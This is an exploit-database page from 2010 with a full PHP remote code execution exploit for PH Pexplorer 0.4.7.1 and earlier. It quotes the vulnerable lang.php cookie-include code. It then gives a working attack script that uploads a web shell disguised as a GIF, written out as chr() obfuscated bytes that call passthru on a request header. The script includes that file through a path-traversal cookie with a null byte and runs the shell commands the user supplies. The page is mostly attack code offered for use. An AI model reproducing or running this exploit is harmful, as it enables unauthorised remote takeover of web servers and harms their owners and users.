PH Pexplorer <= 0.4.7.1 (lang.php) Remote Code Execution
Posted on 04 August 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>PH Pexplorer <= 0.4.7.1 (lang.php) Remote Code Execution Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>================================================================ PH Pexplorer <= 0.4.7.1 (lang.php) Remote Code Execution Exploit ================================================================ #!/usr/bin/php -q -d short_open_tag=on <? print ' 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' __ /'__` / \__ /'__` 0 0 /\_, ___ /\_/\_ ___ ,_/ / _ ___ 1 1 /_/ /' _ ` / /_/_\_<_ /'___ / /`'__ 0 0 / / / / \__/ \_ \_ / 1 1 \_ \_ \_\_ \____/ \____\ \__\ \____/ \_ 0 0 /_//_//_/ \_ /___/ /____/ /__/ /___/ /_/ 1 1 \____/ >> Exploit database separated by exploit 0 0 /___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 1 ######################################## 1 0 I'm eidelweiss member from Inj3ct0r Team 1 1 ######################################## 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 PH Pexplorer <= 0.4.7.1 (lang.php) Remote Code Execution Exploit Vendor: http://bluevirus.ch Download: http://bluevirus.ch/PH%20Pexplorer? Author: eidelweiss contact: g1xsystem@windowslive.com /* Vuln find in lang.php code: ... if(array_key_exists("Language",$_COOKIE)) { // Open dir with languagefiles $dir=opendir(c_langpath); $langs=Array(); // Browse dir and save all language shorthand symbols of existing files while($res=readdir($dir)) if( $res!="." and $res!=".." and is_file(c_langpath."$res") ) { $t=basename(is_file($res),".php"); if( strlen($t)==2 || strlen($t)==5 ) $langs[]=$t; } // Close dir closedir($dir); // Lade Sprache, falls vorhanden $filename=c_langpath.$_COOKIE['Language'].".php"; if( in_array($_COOKIE['Language'],$langs) and is_file($filename) ) { include($filename); ................ if( is_file(c_langpath.$file) && preg_match('/[a-z-]{2,5}.php$/',$file) && $file!="htmlentities.php" ) { include(c_langpath.$file); $avail_langs[]=array('language' => $l_language, 'file' => $l_file, 'author' => $l_author, 'mail' => $l_author_m, 'url' => $l_author_h, 'short' => $l_shortcuts); } } include($l_file); return $avail_langs; ............... Nice code !!! upload evil file, and set cookie: Language: [path to you evil file] then you can run evil file in all script pages :P eidelweiss c0de by Kacper Modify by eidelweiss */ if ($argc<4) { print_r(' ----------------------------------------------------------------------------- Usage: php '.$argv[0].' host path cmd OPTIONS host: target server (ip/hostname) path: PH Pexplorer path cmd: a shell command (ls -la) Options: -p[port]: specify a port other than 80 -P[ip:port]: specify a proxy Example: php '.$argv[0].' 127.0.0.1 /PH Pexplorer/ ls -la -P1.1.1.1:80 php '.$argv[0].' 192.168.11.9 / -p81 ----------------------------------------------------------------------------- '); die; } error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.=" "; $exa.=" ";} } return $exa." ".$result; } $proxy_regex = '(d{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5})'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy... "; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); } function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } $host=$argv[1]; $path=$argv[2]; $cmd=""; $port=80; $proxy=""; for ($i=3; $i<$argc; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];} if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $sh3ll= chr(0x47).chr(0x49).chr(0x46).chr(0x38).chr(0x36).chr(0x3c). chr(0x3f).chr(0x70).chr(0x68).chr(0x70).chr(0x20).chr(0x6f). chr(0x62).chr(0x5f).chr(0x63).chr(0x6c).chr(0x65).chr(0x61). chr(0x6e).chr(0x28).chr(0x29).chr(0x3b).chr(0x65).chr(0x63). chr(0x68).chr(0x6f).chr(0x22).chr(0x2e).chr(0x2e).chr(0x2e). chr(0x48).chr(0x61).chr(0x63).chr(0x6b).chr(0x65).chr(0x72). chr(0x2e).chr(0x2e).chr(0x4b).chr(0x61).chr(0x63).chr(0x70). chr(0x65).chr(0x72).chr(0x2e).chr(0x2e).chr(0x4d).chr(0x61). chr(0x64).chr(0x65).chr(0x2e).chr(0x2e).chr(0x69).chr(0x6e). chr(0x2e).chr(0x2e).chr(0x50).chr(0x6f).chr(0x6c).chr(0x61). chr(0x6e).chr(0x64).chr(0x21).chr(0x21).chr(0x2e).chr(0x2e). chr(0x48).chr(0x61).chr(0x75).chr(0x72).chr(0x75).chr(0x2e). chr(0x2e).chr(0x5e).chr(0x5f).chr(0x5e).chr(0x2e).chr(0x2e). chr(0x44).chr(0x45).chr(0x56).chr(0x49).chr(0x4c).chr(0x2e). chr(0x54).chr(0x45).chr(0x41).chr(0x4d).chr(0x2e).chr(0x2e). chr(0x74).chr(0x68).chr(0x65).chr(0x2e).chr(0x2e).chr(0x62). chr(0x65).chr(0x73).chr(0x74).chr(0x2e).chr(0x2e).chr(0x70). chr(0x6f).chr(0x6c).chr(0x69).chr(0x73).chr(0x68).chr(0x2e). chr(0x2e).chr(0x74).chr(0x65).chr(0x61).chr(0x6d).chr(0x2e). chr(0x2e).chr(0x47).chr(0x72).chr(0x65).chr(0x65).chr(0x74). chr(0x7a).chr(0x2e).chr(0x2e).chr(0x2e).chr(0x22).chr(0x3b). chr(0x69).chr(0x6e).chr(0x69).chr(0x5f).chr(0x73).chr(0x65). chr(0x74).chr(0x28).chr(0x22).chr(0x6d).chr(0x61).chr(0x78). chr(0x5f).chr(0x65).chr(0x78).chr(0x65).chr(0x63).chr(0x75). chr(0x74).chr(0x69).chr(0x6f).chr(0x6e).chr(0x5f).chr(0x74). chr(0x69).chr(0x6d).chr(0x65).chr(0x22).chr(0x2c).chr(0x30). chr(0x29).chr(0x3b).chr(0x65).chr(0x63).chr(0x68).chr(0x6f). chr(0x20).chr(0x22).chr(0x6d).chr(0x79).chr(0x5f).chr(0x64). chr(0x65).chr(0x6c).chr(0x69).chr(0x6d).chr(0x22).chr(0x3b). chr(0x70).chr(0x61).chr(0x73).chr(0x73).chr(0x74).chr(0x68). chr(0x72).chr(0x75).chr(0x28).chr(0x24).chr(0x5f).chr(0x53). chr(0x45).chr(0x52).chr(0x56).chr(0x45).chr(0x52).chr(0x5b). chr(0x48).chr(0x54).chr(0x54).chr(0x50).chr(0x5f).chr(0x48). chr(0x41).chr(0x55).chr(0x52).chr(0x55).chr(0x5d).chr(0x29). chr(0x3b).chr(0x64).chr(0x69).chr(0x65).chr(0x3b).chr(0x3f). chr(0x3e); $data.='-----------------------------7d6224c08dc Content-Disposition: form-data; name="sefile"; filename="sh3ll.gif" Content-Type: text/plain '.$hauru.' -----------------------------7d6224c08dc Content-Disposition: form-data; name="upfile" Upload file -----------------------------7d6224c08dc-- '; $packet ="POST ".$p."htmlentities.php HTTP/1.0 "; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6224c08dc "; $packet.="Content-Length: ".strlen($data)." "; $packet.="Host: ".$host." "; $packet.="Connection: Close "; $packet.=$data; sendpacketii($packet); sleep(1); $packet ="GET ".$p."lang.php HTTP/1.1 "; $packet.="Cookie: Language=../example_dir/sh3ll.gif%00; "; $packet.="HAURU: ".$cmd." "; $packet.="Host: ".$host." "; $packet.="Connection: Close "; sendpacketii($packet); if (strstr($html,"my_delim")) { $temp=explode("my_delim",$html); die($temp[1]); } echo "Exploit err0r :("; echo "INDONESIAN HACKER STILL ROCK"; ?> # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-04]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? 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